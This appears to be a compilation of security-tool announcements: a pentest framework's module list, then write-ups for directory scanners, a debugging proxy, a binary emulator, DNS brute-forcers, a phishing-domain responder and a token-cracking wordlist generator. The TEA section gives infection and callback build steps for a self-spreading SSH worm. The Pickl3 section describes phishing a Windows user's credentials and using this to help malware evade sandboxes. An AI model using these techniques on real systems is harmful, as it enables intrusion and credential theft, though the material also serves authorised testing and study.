| Global Option |
-------------------------------------------------------------------------------------
| Command Description |
|-----------------------------------------------------------------------------------|
| show modules | Look this modules |
| show options | Show Current Options Of Selected Module |
| ipconfig | Network Informasion |
| shell | Execution Command Shell >[ctrl+C exit shell ] |
| use | Select Tipe Module For Use |
| set | Select Modules For Use |
| run | Excute modules |
| update | Update Pentest Framework |
| banner | PTF Banner |
| about | Informasion Tools |
| credits | Credits && Thanks |
| clear | Clean Pentest input/output |
| exit | Exit the progam |
-------------------------------------------------------------------------------------
Modules
        +-----------------------------------------------------------------------------------------------------------------------------------+
| EXPLOITS |
-------------------------------------------------------------------------------------------------------------------------------------
| COMMANDS Rank Description |
-------------------------------------------------------------------------------------------------------------------------------------
| exploit/abrt_privilege_escalation | normal | ABRT - sosreport Privilege Escalation |
| exploit/web_delivery | good | Script Web Delivery |
| exploit/apache | good | Apache exploit |
| exploit/shellshock | good | cgi-bin/vulnerable shellshock |
| exploit/davtest | good | Testing tool for webdav server |
| exploit/auto_sql | good | auto with sqlmap |
| exploit/ldap_buffer_overflow | normal | Apache module mod_rewrite LDAP protocol Buffer Overflow |
| exploit/vbulletin_rce | good | vBulletin 5.x 0day pre-quth RCE exploit |
| exploit/cmsms_showtime2_rce | normal | CMS Made Simple (CM SMS) Showtime2 File Upload RCE |
| exploit/awind_snmp_exec | good | AwindInc SNMP Service Command Injection |
| exploit/webmin_packageup_rce | excellent | Webmin Package Updates Remote Command Execution |
| exploit/samsung_knox_smdm_url | good | Samsung Galaxy KNOX Android Browser RCE |
| exploit/cisco_dcnm_upload_2019 | excellent | Cisco Data Center Network Manager Unauthenticated Remote Code Execution |
| exploit/zenworks_configuration | excellent | Novell ZENworks Configuration Ma nagement Arbitrary File Upload |
| exploit/cisco_ucs_rce | excellent | Cisco UCS Director Unauthenticated Remote Code Execution |
| exploit/sonicwall | normal | Sonicwall SRA <= v8.1.0.2-14sv remote exploit |
| exploit/bluekeep | good | cve 2019 0708 bluekeep rce |
| exploit/eternalblue | good | MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption |
| exploit/inject_html | normal | Inject Html code in all visited webpage |
| exploit/robots | normal | robots.txt Detected |
| exploit/jenkins_script_console | good | Jenk ins-CI Script-Console Java Execution |
| exploit/php_thumb_shell_upload | good | php shell uploads |
| exploit/cpanel_bruteforce | normal | cpanel bruteforce |
| exploit/cms_rce | normal | CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution |
| exploit/joomla_com_hdflayer | manual | joomla exploit hdflayer |
| exploit/wp_symposium_shell_upload | good | symposium shell upload |
| exploit/joomla0day_com_myngallery | good | exploits com myngallery |
| exploit/jm_auto_change_pswd | normal | vulnerability |
| exploit/android_remote_access | expert | Remote Acces Administrator (RAT) |
| exploit/power_dos | manual | Denial Of Service |
| exploit/tp_link_dos | normal | TP_LINK DOS, 150M Wireless Lite N Router, Model No. TL-WR740N |
| exploit/joomla_com_foxcontact | high | joomla foxcontact |
| exploit/joomla_simple_shell | high | joomla simple shell |
| exploit/joomla_comfields_sqli_rce | high | Joomla Component Fields SQLi Remote Code Execution |
| exploit/inj ect_javascript | normal | Inject Javascript code in all visited webpage |
| exploit/dns_bruteforce | high | Dns Bruteforce with nmap |
| exploit/dos_attack | normal | hping3 dos attack |
| exploit/shakescreen | high | Shaking Web Browser content |
| exploit/bypass_waf | normal | bypass WAf |
| exploit/enumeration | high | simple enumeration |
| exploit/restrict_anonymous | normal | obtain credentials |< br/> | exploit/openssl_heartbleed | high | dump openssl_heartbleed |
| exploit/samba | good | Samba EXploits |
| exploit/smb | good | Albitary samba exploit |
| exploit/webview_addjavascriptinterface | good | Android Browser and WebView addJavascriptInterface Code Execution |
-------------------------------------------------------------------------------------------------------------------------------------

        +------------------------------------------------------------------------------------------------------------------------------------+
| SCANNERS |
--------------------------------------------------------------------------------------------------------------------------------------
| COMMANDS Rank Description |
--------------------------------------------------------------------------------------------------------------------------------------
| scanner/enumiax | good | protocol username enumeration |
| scanner/wordpress_user_dislosure | normal | wordpress 5.3 User Disclosu re |
| scanner/botnet_scanning | normal | Bootnet Scanning, first need to find the botnet IP |
| scanner/check_ssl_certificate | normal | SSL Certificate |
| scanner/http_services | normal | Gather page titles from HTTP services |
| scanner/dnsrecon | normal | Record enumeration |
| scanner/sslscan | normal | SSL Scanner |
| scanner/ssl_cert | normal | Nmap script ssl-cert |
| scanner/dns_zone_transfer | normal | Dns Zone transfer |
| scanner/dns_bruteforce | normal | Dns Bruteforce |
| scanner/zone_walking | normal | Zone walking |
| scanner/web_services | normal | Get HTTP headers of web services |
| scanner/http_enum | normal | Find web apps from known paths |
| scanner/ddos_reflectors | normal | Scan for UDP DDOS reflectors |
| scanner/grabbing_detection | normal | Lighter banner grabbing detection |
| scanner/discovery | normal | Scan selected ports - ignore discovery |
| scanner/bluekeep | good | CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check |
| scanner/drupal_scan | good | drupal scanner |
| scanner/eternalblue | good | SMB RCE Detection |
| scanner/header | good | header Scanner with nmap |
| scanner/firewalk | good | firewalk |
| scanner/whois | high | whois |
| scanner/dmitry | good | Information Gathering Tool |
| scanner/admin_finder | normal | Admin finder |
| scanner/heartbleed | normal | heartbleed scanner vulnerability |
| scanner/wordpress_scan | normal | wordpress scanner |
| scanner/ssl_scanning | good | SSL Vulnerability Scanning |
| scanner/dns_bru teforce | normal | dns bruteforce |
| scanner/nmap_scanner | normal | port scanners nmap |
| scanner/https_discover | normal | https discover |
| scanner/smb_scanning | good | scan vulnerable SMB server |
| scanner/joomla_vulnerability_scanners | high | vulnerability |
| scanner/mysql_empty_password | good | mysql empty password Detected |
| scanner/joomla_scanners_v.2 | good | joomla scaning |
| scanner/joomla_scanners_v3 | normal | joomla scaning |
| scanner/jomscan_v4 | good | scan joomla |
| scanner/webdav_scan | normal | webdav scan vulnerable |
| scanner/joomla_sqli_scanners | high | vulnerability scanners |
| scanner/lfi_scanners | good | lfi bug scan |
| scanner/port_scanners | manual | port scan |
| scanner/dir_search | high | directory webscan |
| scanner/dir_bruteforce | good | directory Scanning |
| scanner/wordpress_user_scan | good | get wordpress username |
| scanner/cms_war | high | FULL SCAN ALL WEBSITES |
| scanner/usr_pro_wordpress_auto_find | norma | find user vulnerability |
| scanner/nmap_vuln | normal | vulnerability Scanner |
| scanner/xss_scaner | normal | Detected vulnerabilit y xss |
| scanner/spaghetti | high | Web Application Security Scanner |
| scanner/dnslookup | normal | dnslookup scan |
| scanner/reverse_dns | normal | Reverse Dns Lookup |
| scanner/domain_map | normal | scanner domain map |
| scanner/dns_report | normal | dns report |
| scanner/find_shared_dns | normal | find shared dns |
| scanner/golismero | norm al | scan vulnerability with golismero |
| scanner/dns_propagation | low | dns propagation |
| scanner/find_records | normal | find records |
| scanner/cloud_flare | normal | cloud flare |
| scanner/extract_links | normal | links extract |
| scanner/web_robot | normal | web robots scanner |
| scanner/enumeration | normal | http-enumeration |
| scanner/ip_locator | good | ip Detected LOcator |
--------------------------------------------------------------------------------------------------------------------------------------

        +----------------------------------------------------------------------------------------------------------+
| POST |
------------------------------------------------------------------------------------------------------------
| COMMANDS Rank Description |
------------------------------------------------------------------------------------------------------------
| post/enumeration | normal | http-enumeration |
| post/vbulletin | high | exploits |
| post/wordpress_user_scan | good | scanners |
| post/dir _search | high | scanners |
| post/cms_war | high | scanners |
| post/usr_pro_wordpress_auto_find | normal | scanners |
| post/android_remote_access | good | exploits |
| post/samba | good | exploits |
------------------------------------------------------------------------------------------------------------

        +----------------------------------------------------------------------------------------------------------+
| PASSWORD |
------------------------------------------------------------------------------------------------------------
| COMMANDS Rank Description |
------------------------------------------------------------------------------------------------------------
| password/base64_decode | good | base64 decode |
| password/md5_decrypt | good | md5 decrypt |
| password/sha1_decrypt | good | sha1 decrypt |
| password/ sha256_decrypt | good | sha256 decrypt |
| password/sha384_decrypt | good | sha384 decrypt |
| password/sha512_decrypt | good | sha512 decrypt |
| password/ssh_bruteforce | good | ssh password bruteforce |
------------------------------------------------------------------------------------------------------------

        +------------------------------------------------------------------------------------------------------------------------------------+
| LISTENERS MODULES |
--------------------------------------------------------------------------------------------------------------------------------------
| COMMANDS Rank Description |
--------------------------------------------------------------------------------------------------------------------------------------
| android_meterpreter_reverse_tcp | good | Android Meterpreter, Android Reverse TCP Stager |
| android_meterpreter_reverse_https | good | Android Meterpreter, Android Reverse HTTPS Stager |
| java_jsp_shell_reverse_tcp | good | Java JSP Command Shell, Reverse TCP Inline |
| linux_x64_meterpreter_reverse_https | good | linux/x64/meterpreter_reverse_https |
| linux_x64_meterpreter_reverse_tcp | good | Linux Meterpreter, Reverse TCP Inline |
| linux_x64_shell_reverse_tcp | good | Linux Command Shell, Reverse TCP Stager |
| osx_x64_meterpreter_reverse_https | good | OSX Meterpreter, Reverse HTTPS Inline |
| osx_x64_meterpreter_reverse_tcp | good | OSX Meterpreter, Reverse TCP Inline |
| php_meterpreter_reverse_tcp | good | PHP Meterpreter, PHP Reverse TCP Stager |
| python_meterpreter_reverse_https | good | Python Meterpreter Shell, Reverse HTTPS Inline |
| python_meterpreter_reverse_tcp | good | python/meterpreter_reverse_tcp |
| windows_x64_meterpreter_reverse_https | good | Windows Meterpreter Shell, Reverse HTTPS Inline (x64) |
| windows_x64_meterpreter_reverse_tcp | good | Windows Meterpreter Shell, Reverse TCP Inline x64 |
| cmd_windows_reverse_powershell | good | Windows Command Shell, Reverse TCP (via Powershell) |
+------------------------------------------------------------------------------------------------------------------------------------+

About Pentest Tools Framework
INFO: Pentest Tools Framework is a database of exploits, Scanners
and tools for penetration testing. Pentest is a powerful
framework includes a lot of tools for beginners. You can explore
kernel vulnerabilities, network vulnerabilities.

How to install PTF(Pentest Tools Framework)
root@kali~# cd Pentest-Tools-Framework
root@kali~# pip install -r requirements.txt
root@kali~# python install.py
root@kali~# PTF
INFO: After running install.py you should
select your backbox/kali linux /parrot Os , all computer OS,

About Pentest Tools Framework modules
Exploits
INFO: A computer program, piece of code,
or sequence of commands that exploit vulnerabilities
in software and are used to carry out an attack on a
computer system. The purpose of the attack can be as a
seizure of control over the system, and the violation
of its functioning!
Scanners
INFO: The program that scans the specified Internet resource,
archive or website. Also network scanners can scan open ports or
your local network and IPs!

Why Pentest Tools Framework?
Pentest Tools Framework is a free software
INFO: This is a good platform
to start exploring vulnerabilities!
Simple UX/UI interface for beginners
INFO: Pentest Tools Framework has simple UX/UI for beginners!
It is easy to understand and it will be easier
for you to master the Pentest Tools Framework.
A lot of tools for beginners
INFO: Pentest Tools Framework has еру following modules
exploits - scanners - password
This is enough for beginners.


Dirble - Fast Directory Scanning And Scraping Tool

$
0
0

Dirble is a website directory scanning tool for Windows and Linux. It's designed to be fast to run and easy to use.

How to Use
Download one of the precompiled binaries for Linux, Windows, or Mac, or compile the source using Cargo, then run it from a terminal. The default wordlist Dirble uses is dirble_wordlist.txt in the same directory as the executable.
It can be installed in BlackArch using sudo pacman -S dirble
There is also a docker image, which can be run as: docker run --rm -t isona/dirble [dirble arguments]
The help text can be displayed using dirble --help, alternatively it can be found on the github wiki: https://github.com/nccgroup/dirble/wiki/Help-Text

Example Uses
Run against a website using the default dirble_wordlist.txt from the current directory: dirble [address]
Run with a different wordlist and including .php and .html extensions: dirble [address] -w example_wordlist.txt -x .php,.html
With listable directory scraping enabled: dirble [address] --scrape-listable
Providing a list of extensions and a list of hosts: dirble [address] -X wordlists/web.lst -U hostlist.txt
Providing multiple hosts to scan via command line: dirble [address] -u [address] -u [address]
Running with threading in Gobuster's default style, disabling recursion and having 10 threads scanning the main directory: dirble [address] --max-threads 10 --wordlist-split 10 -r

Building from source
To build on your current platform, ensure cargo is installed and then run cargo build --release. Alternatively, running make will build the binary in release mode (internally running cargo build --release).
To cross-compile for 32- and 64-bit Linux and Windows targets, there is a handy makefile. make release will build for all four targets using cross. This depends on having cross and docker installed (cargo install cross).

Features
  • Cookies
  • Custom Headers
  • Extensions and prefixes
  • HTTP basic auth
  • Listable directory detection and scraping
  • Save ouptut to file
  • Save output in XML and JSON formats
  • Proxy support
  • Recursion
  • Status code blacklisting and whitelisting
  • Threading
  • Request throttling
  • Detect not found code of each directory based on response code and length
  • Ability to provide list of URLs to be scanned
  • User agents
  • Scanning with GET, POST or HEAD requests
  • Exclude ranges of response lengths from output

Performance
The following graph was generated by running each tool with Hyperfine against a test server with 5ms latency and 1% packet loss. (Gobuster was omitted due to lack of recursion).



How it works

Directory Detection
Dirble detects files based on the response code sent by the server. The behaviour can be loosely categorised by response code type.
  • 200: the path exists and is valid
  • 301, 302: redirection; report the code, size, and Location header
  • 404: not found; by default these responses are not reported
  • All other response codes are reported in the Dirble format of + [url] (CODE:[code]|SIZE:[size])
A path is classified as a directory if a request to [url] (with no trailing slash) returns a 301 or 302 redirection to [url]/ (with a trailing slash). This gets reported with a D prefix and if recursion is enabled will be added to the scan queue. This method is not dependent on the redirection target existing or being accessible, so a separate request will be made to determine the response code and size of the directory.
Listable directories are detected by inspecting the content of url/: if it returns a 200 response code and the body contains either "parent directory", "up to " or "directory listing for" (case insensitive), then it is likely to be a listable directory. If --scrape-listable is enabled, URLs are parsed out of the listing (ignoring sorting links or out of scope links) and added to the scan queue if they have a trailing slash. Listable directories have an L prefix in the output.

Threading
The threading behaviour of Dirble is based on the concepts of wordlists and jobs. A job is any task which can be run independently of other tasks, for example requesting a series of URLs. A wordlist is a list of words with a defined transformation, for example the list {admin, config, shop} together with the transformation append ".php" forms a single wordlist instance.
To improve performance further, we introduce the concept of wordlist splitting. This is the process by which a single wordlist instance (i.e. words with a transformation) is broken up into multiple jobs, each responsible for a portion of the list. The number of interleaved portions that each wordlist is split into is defined by the --wordlist-split option (default 3).
Whenever a directory is detected (and recursion is enabled) new jobs are created for each split wordlist (with transformation) and added to a central job queue.
The maximum number of concurrent tasks is defined by the --max-threads parameter, and Dirble will start jobs as they are added to the queue, up to this limit. Whenever a job completes (i.e. a split wordlist is exhausted) Dirble will take the next job from the queue and start it.
Released under GPL v3.0, see LICENSE for more information


Betwixt - Web Debugging Proxy Based On Chrome DevTools Network Panel

$
0
0

Betwixt will help you analyze web traffic outside the browser using familiar Chrome DevTools interface.




Installing
Download the latest release for your operating system, build your own bundle or run Betwixt from the source code.

Setting up
In order to capture traffic, you'll have to direct it to the proxy created by Betwixt in the background (http://localhost:8008).
If you wish to analyze traffic system wide:
  • on macOS - System Preferences → Network → Advanced → Proxies → Web Proxy (HTTP)
  • on Windows - Settings → Network & Internet → Proxy
  • on Ubuntu - All Settings → Network → Network Proxy


If you want to capture traffic coming from a single terminal use export http_proxy=http://localhost:8008.
Capturing encrypted traffic (HTTPS) requires additional step, see this doc for instructions.


Pickl3 - Windows Active User Credential Phishing Tool

$
0
0

Pickl3 is Windows active user credential phishing tool. You can execute the Pickl3 and phish the target user credential.

Operational Usage - 1
Nowadays, since the operating system of many end users is Windows 10, we cannot easily steal account information with Mimikatz-like projects like the old days. Using Pickl3, you can try to steal the account information of the active user without escalating the privileges.

Operational Usage - 2
Nowadays, there are approximately 200 announced sandbox detection methods. Sandboxes, especially analyzing in the Hypervisor layer, are immune to these detection methods. But sandboxes aren't so good at user interaction yet. You can get an advantage by using Pickl3 in your developed malware. For example, end users are generally targeted in today's Red Team operations. The end users targeted have a password, and as long as the user you are targeting does not enter their password correctly, you can prevent your malware from working and bypass the possible sandbox control. However, it would be good if you prevent your malware from working with Administrator rights during the first installation. Because, in sandboxes, malwares are generally analyzed in Administrator rights.


Zelos - A Comprehensive Binary Emulation Platform

$
0
0

Zelos (Zeropoint Emulated Lightweight Operating System) is a python-based binary emulation platform. One use of zelos is to quickly assess the dynamic behavior of binaries via command-line or python scripts. All syscalls are emulated to isolate the target binary. Linux x86_64 (32- and 64-bit), ARM and MIPS binaries are supported. Unicorn provides CPU emulation.

Full documentation is available here.

Installation
Use the package manager pip to install zelos.
pip install zelos

Basic Usage

Command-line
To emulate a binary with default options:
$ zelos my_binary
To view the instructions that are being executed, add the -v flag:
$ zelos -v my_binary
You can print only the first time each instruction is executed, rather than every execution, using --fasttrace:
$ zelos -v --fasttrace my_binary
By default, syscalls are emitted on stdout. To write syscalls to a file instead, use the --strace flag:
$ zelos --strace path/to/file my_binary
Specify any command line arguments after the binary name:
$ zelos my_binary arg1 arg2

Programmatic
import zelos

z = zelos.Zelos("my_binary")
z.start(timeout=3)

Contributing
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
Please make sure to update tests as appropriate.

Local Development Environment
First, create a new python virtual environment. This will ensure no package version conflicts arise:
$ python3 -m venv ~/.venv/zelos
$ source ~/.venv/zelos/bin/activate
Now clone the repository and change into the zelos directory:
(zelos) $ git clone git@github.com:zeropointdynamics/zelos.git
(zelos) $ cd zelos
Install an editable version of zelos into the virtual environment. This makes import zelos available, and any local changes to zelos will be effective immediately:
(zelos) $ pip install -e '.[dev]'
At this point, tests should pass and documentation should build:
(zelos) $ pytest
(zelos) $ cd docs
(zelos) $ make html
Built documentation is found in docs/_build/html/.
Install zelos pre-commit hooks to ensure code style compliance:
(zelos) $ pre-commit install
In addition to automatically running every commit, you can run them anytime with:
(zelos) $ pre-commit run --all-files

Windows Development:
Commands vary slightly on Windows:
C:\> python3 -m venv zelos_venv
C:\> zelos_venv\Scripts\activate.bat
(zelos) C:\> pip install -e .[dev]


TEA - Ssh-Client Worm

$
0
0

A ssh-client worm made with tas framework.

How it works?
This is a fakessh-client that manipulates the tty input/output to execute arbitrary commands and upload itself through the ssh connection.
To work properly, the remote machine needs:
  • display the "Last login" message when login.
  • dd and stty
  • target user using bash as default shell.
  • capability to run the fakessh binary.
  • writable ~/.bashrc

Infect the local machine:
mkdir ~/.sshworm
cp ssh ~/.sshworm
alias ssh='~/.sshworm/ssh'
The first time that you execute the fakessh, it will display nothing, the code in post-install.c will be executed and the string alias ssh="~/.sshworm/ssh" will be write to the ~/.bashrc:
$ ssh
$ ssh
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]
Spread the world
Now just connect to some ssh server, that meets the conditions stated for the program to work, and the machine will be infected, and the machines accessed through it too, and so on.
tty manipulation:
When the fakessh is executed, it will wait for the string "Last login" to start the I/O manipulation (output-hooks.c), when "Last login" is receveid it will send some arbitrary commands (inject-cmd.c) and will wait for the command result (output-hooks.c), if the file ~/.sshworm/ssh don't exists in the remote machine, then the worm will upload itself (upload.c).
See output-hooks.c for more details.
Uninstall:
$ rm -rf ~/.sshworm
$ perl -i -pe 's;alias ssh="~/.sshworm/ssh";;g' ~/.bashrc
$ unalias ssh

Compile
I recommend the use of musl-libc, or every else libc that isn't the glibc, the binary compiled using the glibc is 17 times bigger than the binary compiled using the musl-libc.
Getting the source code:
$ git clone --recurse-submodules https://github.com/hc0d3r/tea
Build options:
NameDescription
IPremote IPv4 to connect
PORTremote port to connect
Example:
$ make CC=musl-gcc IP=my-ipv4 PORT=1234

Server
I made a simple server to handle the connections that will be receveid when the code in post-install.c is executed.
The server mechanism is very simple, when a new connection is established, it execute a new command and pass the connection file descriptor through the command line, so the program executed will be able to handle the connection.
Compile
$ cd server
$ make
cc -Wall -Wextra -O3 -c net.c -o net.o
cc -Wall -Wextra -O3 -c replace.c -o replace.o
cc -Wall -Wextra -O3 -c term.c -o term.o
cc -Wall -Wextra -O3 -c main.c -o main.o
cc -Wall -Wextra -O3 -o server net.o replace.o term.o main.o

Demo




Jeopardize - A Low(Zero) Cost Threat Intelligence & Response Tool Against Phishing Domains

$
0
0

Jeopardize tool is developed to provide basic threat intelligence&response capabilities against phishing domains at the minimum cost as possible. It detects registered phishing domain candidates (typosquatting, homograph etc.), analyzes them and assigns a risk score to them. After then, it sends valid-looking credentials to the login forms on those phishing sites.

Why? Imagine this scenario: Attacker registers a phishing domain, acmebnak.com (Typosquatting of acmebank), copies the original acmebank.com's login form there and advertises this domain via sponsored tweets. This ad and the domain probably will be marked as phishing in the next day but the attacker has already harvested credentials from users. Taking it down after this won't help the affected users. Jeopardize provides a proactive solution to this problem. It jeopardizes the phishing form with valid-looking credentials to confuse the attacker. This will buy organizations some time to take precautions.
  ATTACKER+-----advertises+
| +---------------+
| | |
+--------v-------+ +----------------+ | |
|twitter.com/ads | |acmebnak.com | | 549233/ahs72 +------>FAKE
+----------------+ +----------------+ | |
| | | | | 398273/pass1 +------>FAKE
| AcmeBank +-->+ username: +-------+ |
| Tax Refunds | | password: | | 393823/sm283 +------>LEGIT
| | | | | |
+--------^-------+ +----------------+ | 394837/azerb +------>FAKE
| ^ | |
VICTIM USER+-----clicks-+ |sends | |
|fake creds +---------------+
+
JEOPARDIZE

How it Works?

1- Generating the combinations
Jeopardize generates different word combinations with a given domain. (dnstwist helps here) For example, if the given domain is acmebank.com, combinations would be acmebnak, acmeban, amcebank etc. If your domain has a short or generic name (for example: aa.com) This tool won't help you. It works best for unique names.

2- Detecting Registered Domains
Jeopardize has two different detection methods to identify registered domains:
Brute: Jeopardize combines the generated words (acmebnak, amcebank etc.) with all TLDs (com,net,xyz,live etc.) and does whois query for all of them. Pros: Doesn't require any API key, totally free. / Cons: Takes lots of time.
Dailly With given Zonefiles.io API Key, Jeopardize scrapes all domains registered in the last 24 Hours and searches them for the generated words (acmebnak, amcebank etc.). Pros: Fast, can be used as a daily threat intelligence easily. Cons: Requires Zonefiles.io API Key (Pro edition)

3- Analyzing the Domains
Detected domains are already suspicious. But there are factors that increase the likelihood of being a phishing domain. Also, we need to analyze if any phishing page is installed on that domain so that we can take actions against to them. Jeopardize checks the following elements of the registered domains:
  • IP: If any IP address is assigned to the domain. If yes, the phishing risk score will increase.
  • Web Server: If a web server is installed on that domain. If yes, the phishing risk score will increase.
  • Nameservers: Checking the nameservers. If it uses Cloudflare, the phishing risk score will increase (no offense)
  • Website Size: Checking the size of the website. Phishing pages usually contain different images, css and js files. The phishing risk score will increase if it's above a predefined threshold.
  • Login Form: If a login form is identified at the website. If yes, the phishing risk score will increase.
  • SSL Certificate: Checking the CA of the SSL certificate. If it's issued by a CA other than Cloudflare or LetsEncrypt, the phishing risk score will "decrease".
  • Registration Date: Checking the registration date of the domain. If it's newer than one month, the phishing risk score will increase.
  • Alexa Ranking: Checking the Alexa ranking of the domain. If it's not listed in there, the phishing risk score will increase.

4- Jeopardizing Login Forms
If the phishing score is high and the website has a login form, Jeopardize will fill it automatically with the provided username/password list.

Saving the Results
It saves the information of detected phishing domains to an XML file. For example:
<domain>
<address>acmebnak.com</address>
<name_servers>ns1.cloudflare.com ns2.cloudflare.com</name_servers>
<mx_servers> </mx_servers>
<date_flag>True</date_flag>
<alexa_flag>False</alexa_flag>
<webserver_flag>True</webserver_flag>
<certificate_flag>False</certificate_flag>
<form_flag>True</form_flag>
<phishing_score>85</phishing_score>
</domain>

Installation
Jeopardize requires Python3 to work and tested on macOS, Ubuntu 18.04 and Debian based Linux systems. First, clone the repo:
git clone https://github.com/utkusen/jeopardize.git
Go inside the folder
cd jeopardize
Install required libraries
pip3 install -r requirements.txt
You also need to install chromedriver for selenium (Required for form filling. I you won't use it, don't need to install)
on Ubuntu: Run sudo apt install chromium-chromedriver
on Kali(Debian-based): Run pip3 install chromedriver-binary
on macOS: Run brew cask install chromedriver
If you want to integrate Zonefiles.io API, open jeopardize.py with a text editor, replace ZONEFILES_API_KEY = "" with your own key.
You are good to go!

Usage
Note to macOS Users: It seems macOS restricts multithreading as a security mechanism. You need to run following command before running the tool: export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES for more info about this issue, please check here
You need to provide your domain for phishing checking with --domain parameter. You also need to provide --type(brute,daily,incremental) as registered domain detection method.
Example command:python3 jeopardize.py --domain facebook.com --type brute
What it does?: Combines words combinations of facebook (fcabook, facebkook etc.) with all TLDs(com,net,org,xyz) and does whois query for all of them. Results will be saved to facebook.com.xml file. This doesn't fill the login forms of the detected domains.
Example command:python3 jeopardize.py --domain facebook.com --type daily
What it does?: Scrapes all domains registered in the last 24 Hours with Zonefiles.io API and searches them for the generated words (fcabook, facebkook etc.)
Example command:python3 jeopardize.py --domain facebook.com --type incremental
What it does?: It takes a previously generated XML file (facebook.com.xml), scrapes domains in it and updates their data, also does regular daily scan.
If you want to fill login forms of the detected phishing domains, provide a username list with -U and password list with -P parameter
Example command:python3 jeopardize.py --domain facebook.com --type daily -U user.txt -P pass.txt
If you want to activate verbose mode, add -v parameter at the end of the command.


AWSGen.py - Generates Permutations, Alterations And Mutations Of AWS S3 Buckets Names

shuffleDNS - Wrapper Around Massdns Written In Go That Allows You To Enumerate Valid Subdomains

$
0
0

shuffleDNS is a wrapper around massdns written in go that allows you to enumerate valid subdomains using active bruteforce as well as resolve subdomains with wildcard handling and easy input-output support.
Based on the work on massdns project by @blechschmidt.

Features
  • Simple and modular code base making it easy to contribute.
  • Fast And Simple active subdomain scanning.
  • Handles wildcard subdomains in a smart manner.
  • Optimized for ease of use
  • Stdin and stdout support for integrating in workflows

Usage
shuffledns -h
This will display help for the tool. Here are all the switches it supports.
FlagDescriptionExample
-dDomain to find or resolve subdomains forshuffledns -d hackerone.com
-directoryTemporary directory for enumerationshuffledns -directory /hdd
-rFile containing resolvers for enumerationshuffledns -r resolvers.txt
-nCDon't Use colors in outputshuffledns -nC
-oFile to save output result (optional)shuffledns -o hackerone.txt
-listList of subdomains to process forshuffledns -list bugcrowd.txt
-massdnsMassdns binary pathshuffledns -massdns /usr/bin/massdns
-retriesNumber of retries for dns enumeration (default 5)shuffledns -retries 1
-silentShow only subdomains in outputshuffledns -silent
-tNumber of concurrent massdns resolves (default 10000)shuffledns -t 100
-vShow Verbose outputshuffledns -v
-versionShow version of shufflednsshuffledns -version
-wFile containing words to bruteforce for domainshuffledns -w words.txt

Installation Instructions

Prerequisite
shuffledns requires massdns to be installed in order to perform its operations. You can see the install instructions at https://github.com/blechschmidt/massdns#compilation.
If you place the binary in /usr/bin/massdns or /usr/local/bin/massdns, the tool will auto-detect the presence of the binary and use it. On windows, you need to supply the path to the binary for the tool to work.
The tool also needs a list of valid resolvers. The dnsvalidator project can be used to generate these lists. Either you can use a custom wordlist or use the commonspeak2 wordlists at commonspeak2-wordlist.

Direct Installation

From Binary
The installation is easy. You can download the pre-built binaries for your platform from the Releases page. Extract them using tar, move it to your $PATH and you're ready to go.
> tar -xzvf shuffledns-linux-amd64.tar
> mv shuffledns-linux-amd64 /usr/bin/shuffledns
> shuffledns -h

From Source
shuffledns requires go1.13+ to install successfully. Run the following command to get the repo -
> GO111MODULE=on go get -u -v github.com/projectdiscovery/shuffledns/cmd/shuffledns
In order to update the tool, you can use -u flag with go get command.

Running shuffledns
shuffledns supports two types of operations.

1. Resolving Subdomains
To resolve a list of subdomains, you can pass the list of subdomains via the list option.
> shuffledns -d example.com -list example.com-subdomains.txt -r resolvers.txt
This will run the tool against subdomains in example.com-subdomains.txt and returns the results. The tool uses the resolvers specified with -r option to do the resolving.
You can also pass the list of subdomains at standard input (STDIN). This allows for easy integration in automation pipelines.
> subfinder -d example.com | shuffledns -d example.com -r resolvers.txt
This uses the subdomains found passively by subfinder and resolves them with shuffledns returning only the unique and valid subdomains.

2. Bruteforcing Subdomains
shuffledns also supports bruteforce of a target with a given wordlist. You can use the w flag to pass a wordlist which will be used to generate permutations that will be resolved using massdns.
> shuffledns -d hackerone.com -w wordlist.txt -r resolvers.txt
This will run the tool against hackerone.com with the wordlist wordlist.txt. The domain bruteforce can also be done with standard input as in previous example for resolving the subdomains.
> echo hackerone.com | shuffledns -w wordlist.txt -r resolvers.txt

The -o command can be used to specify an output file.
> shuffledns -d hackerone.com -w wordlist.txt -o output.txt
The subdomains discovered can be piped to other tools too. For example, you can pipe the host discovered by shuffledns to the httprobe tool by @tomnomnom which will then find running http servers on the host.
> echo hackerone.com | shuffledns -w wordlist.txt -r resolvers.txt -silent | httprobe

http://docs.hackerone.com
http://www.hackerone.com
http://info.hackerone.com
or
> echo hackerone.com | subfinder | shuffledns -d hackerone.com -r resolvers.txt -silent | httprobe

http://docs.hackerone.com
http://www.hackerone.com
http://info.hackerone.com

A note on wildcards
A special feature of shuffleDNS is its ability to handle multi-level DNS based wildcards and do it so with very less number of DNS requests. Sometimes all the subdomains will resolve which will lead to lots of garbage in the results. The way shuffleDNS handles this is it will keep track of how many subdomains point to an IP and if the count of the Subdomains increase beyond a certain small threshold, it will check for wildcard on all the levels of the hosts for that IP iteratively.


Token-Reverser - Word List Generator To Crack Security Tokens

$
0
0

Word list generator to crack security tokens.

Example use case
  1. You are testing reset password function
  2. Reset password token was sent to your email box (e.g. 582431d4c7b57cb4a3570041ffeb7e10)
  3. You suppose, it is a md5 hash of the data you provided during registration process
  4. You remember that on registration you entered the following data:
    • First name: Foo
    • Last name: Bar
    • Email: foo.bar@example.com
    • Birth date: 1985-05-23
    • Phone: 202-555-0185
    • Address: 3634 Forest Drive
  5. In addition, you have an access to the following extra data:
    • Application user ID: 74824
    • Date of the reset password HTTP request ("Date" response header): Tue, 10 Mar 2020 17:12:59 GMT
  6. You use Token Reverser to generate word list from the known data:
    ./token-reverser.py --date "Tue, 10 Mar 2020 17:12:59 GMT" Foo Bar foo.bar@example.com 1985-05-23 202-555-0185 "3634 Forest Drive" 74824 > words
  7. You use hashcat to crack reset password token:
    hashcat64.exe -m 0 582431d4c7b57cb4a3570041ffeb7e10 words
    hashcat (v5.1.0) starting...
    [...]

